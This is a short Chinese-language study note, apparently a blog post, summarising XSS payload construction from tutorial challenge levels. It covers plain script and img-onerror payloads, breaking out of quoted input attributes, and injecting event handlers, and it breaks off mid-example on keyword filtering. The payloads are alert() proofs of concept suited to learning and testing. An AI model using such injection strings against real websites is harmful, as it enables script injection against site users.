xss payload构造方法

对照教程闯了几关总结一下各种绕过方式

url传参注入

    未对参数进行任何过滤的
        payload:
        <script>alert()</script>
        <img src=1 onerror=alert()>
    payload被引号包裹的
        例如：<input name=keyword  value="<script>alert()</script>">
        方式一
            闭合标签和字符串
            先闭合引号，对于标签中不能包含script标签的，在闭合此标签
            payload:
                 "><script>alert()</script>"   (在最后加引号是因为引号总是成对出现的，这个引号是为了闭合原input标签中value属性值的最后一个引号)
        方式二
            向标签中添加属性和方法
            先闭合引号，在向input标签中添加onclick方法和type属性，这样点击文本框时就可以执行代码。
            payload：" onclick=alert() type="text" "
    payload被更改的
            如果网页对script和onclick对做了防范，
            例如我们的payload为："><script>alert()</script>"
            注入到页面的效果为：<input name=keyword  value=